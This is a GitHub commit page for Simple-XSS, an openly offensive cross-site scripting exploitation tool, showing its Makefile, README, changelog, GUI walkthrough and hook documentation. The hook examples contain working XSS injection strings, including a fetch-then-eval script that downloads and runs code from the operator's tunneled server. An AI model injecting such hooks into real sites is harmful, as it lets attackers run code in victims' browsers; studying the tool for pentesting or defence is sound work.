-
Notifications
You must be signed in to change notification settings - Fork 7
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
336 changed files
with
5,840 additions
and
4 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,18 @@ | ||
.PHONY: test | ||
test: | ||
poetry run python -m pytest tests/ | ||
|
||
|
||
.PHONY: run | ||
run: | ||
poetry run python -m simplexss | ||
|
||
|
||
.PHONY: translations | ||
translations: | ||
poetry run python -m i18n simplexss/__init__.py simplexss.pot | ||
|
||
|
||
.PHONY: build | ||
build: | ||
poetry run pyinstaller -F --name Simple-XSS --icon "resources/images/logo.ico" simplexss/__main__.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,81 @@ | ||
# Simple-XSS | ||
|
||
<p align="center"> | ||
<img src="resources/images/logo.png" alt="Simple-XSS logo"/> | ||
</p> | ||
|
||
<p align="center"> | ||
<a href="https://github.com/CrazyProger1/Simple-XSS/releases/download/V0.2/Simple-XSS-Windows-x64.zip"><img alt="GitHub all releases" src="https://img.shields.io/github/downloads/CrazyProger1/Simple-XSS/total"></a> | ||
<a href="https://github.com/CrazyProger1/Simple-XSS/blob/master/LICENSE"><img alt="GitHub" src="https://img.shields.io/github/license/CrazyProger1/Simple-XSS"></a> | ||
<a href="https://github.com/CrazyProger1/Simple-XSS/releases/latest"><img alt="GitHub release (latest by date)" src="https://img.shields.io/github/v/release/CrazyProger1/Simple-XSS"></a> | ||
</p> | ||
|
||
Simple-XSS is a multi-platform cross-site scripting (XSS) vulnerability exploitation tool for pentesting. | ||
|
||
Problems solved by Simple-XSS: | ||
|
||
- [x] Easy creatable payloads & hooks | ||
- [x] Support of several transport services (HTTP, Websocket) | ||
- [x] Support of several tunneling services (to deliver payload even without white IP) | ||
|
||
**Disclaimer:** This program is provided for educational and research purposes only. | ||
The creator of this program does not condone or support any illegal or malicious activity, | ||
and will not be held responsible for any such actions taken by others who may use this program. | ||
By downloading or using this program, you acknowledge that you are solely responsible for any consequences | ||
that may result from the use of this program. | ||
|
||
## Documentation | ||
|
||
See **[docs](./docs/README.md)** | ||
|
||
## Status | ||
|
||
**V0.3 - indev(working on docs & refactorings)** | ||
|
||
## Interface | ||
|
||
### Graphical | ||
|
||
![v0.0.3](resources/images/v0.0.3.png) | ||
|
||
## Warning | ||
|
||
In favor of ease of use and expanded capabilities, we had to sacrifice backward compatibility between versions 0.2 and | ||
0.0.3. The features of the previous version are retained and expanded, but older versions of hook & payload will not | ||
work. | ||
|
||
## Installation | ||
|
||
**Note:** _make sure you have installed [Python 3.12](https://www.python.org/) or higher._ | ||
|
||
First you need to clone the repository: | ||
|
||
```commandline | ||
git clone https://github.com/CrazyProger1/Simple-XSS | ||
``` | ||
|
||
Then go to the folder & install the requirements: | ||
|
||
**For Window:** | ||
|
||
```commandline | ||
cd Simple-XSS | ||
pip install -r requirements/windows.txt | ||
``` | ||
|
||
**For Linux:** | ||
|
||
```commandline | ||
cd Simple-XSS | ||
pip install -r requirements/linux.txt | ||
``` | ||
|
||
And finally you can launch it: | ||
|
||
```commandline | ||
python simplexss | ||
``` | ||
|
||
## License | ||
|
||
Simple-XSS is released under the MIT License. See the bundled [LICENSE](LICENSE) file for details. |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
# Simple-XSS Changelog | ||
|
||
## V0.0.3 | ||
|
||
- [x] Rewritten from scratch to improve maintainability and expand functionality | ||
|
||
- [x] Added support for various protocols (as transport services) | ||
- [x] HTTP | ||
- [ ] Websockets (unfinished) | ||
|
||
- [x] Added tunneling service | ||
- [x] Serveo | ||
- [x] Ngrok | ||
|
||
- [x] Added plugin system | ||
|
||
- [x] Added i18n |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,43 @@ | ||
# Simple-XSS Guide | ||
|
||
- Choose transport option: | ||
|
||
![](../resources/images/tutor1.png) | ||
|
||
- Enter a convenient host and port on which the transport server should run: | ||
|
||
![](../resources/images/tutor2.png) | ||
|
||
- Choose tunneling option (if you have a white IP or want to test locally - turn off "Use Tunneling Service"): | ||
|
||
![](../resources/images/tutor3.png) | ||
|
||
![](../resources/images/tutor4.png) | ||
|
||
- Choose hook option: | ||
|
||
![](../resources/images/tutor5.png) | ||
|
||
- Choose payload option: | ||
|
||
![](../resources/images/tutor6.png) | ||
|
||
- Run the process: | ||
|
||
![](../resources/images/tutor7.png) | ||
|
||
- You'll see hook, copy it: | ||
|
||
![](../resources/images/tutor8.png) | ||
|
||
- Test your hook: | ||
|
||
![](../resources/images/tutor9.png) | ||
|
||
- Client hooked, now you can enter and send text: | ||
![](../resources/images/tutor10.png) | ||
|
||
![](../resources/images/tutor11.png) | ||
|
||
- See alert: | ||
![](../resources/images/tutor12.png) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
# Simple-XSS Hooks | ||
|
||
See [hook.](VOCABULARY.md) | ||
|
||
See [environment](PAYLOADS.md/#environment) - same as payload. | ||
|
||
See [io](PAYLOADS.md/#io-api) - same as payload. | ||
|
||
## Examples | ||
|
||
### HTTP Default Hook | ||
|
||
```python | ||
# hook.py | ||
|
||
from simplexss.api.hooks import BaseHook | ||
|
||
|
||
class Hook(BaseHook): | ||
AUTHOR = 'crazyproger1' | ||
DESCRIPTION = 'Default HTTP hook, uses script src.' | ||
NAME = 'Default HTTP Hook' | ||
VERSION = '0.0.1' | ||
TRANSPORTS = ( | ||
'Default HTTP Transport', | ||
) | ||
|
||
@property | ||
def hook(self) -> str: | ||
return f'<script src="{self.environment.url}/.js"></script>' | ||
``` | ||
|
||
### HTTP Eval Hook | ||
|
||
```python | ||
# hook.py | ||
|
||
from simplexss.api.hooks import BaseHook | ||
|
||
|
||
class Hook(BaseHook): | ||
AUTHOR = 'crazyproger1' | ||
DESCRIPTION = 'HTTP Eval hook. ' | ||
NAME = 'HTTP Eval Hook' | ||
VERSION = '0.0.1' | ||
TRANSPORTS = ( | ||
'Default HTTP Transport', | ||
) | ||
|
||
@property | ||
def hook(self) -> str: | ||
return f'<script>fetch("{self.environment.url}/.js").then(r => r.text().then(t => eval(t)))</script>' | ||
``` |
Oops, something went wrong.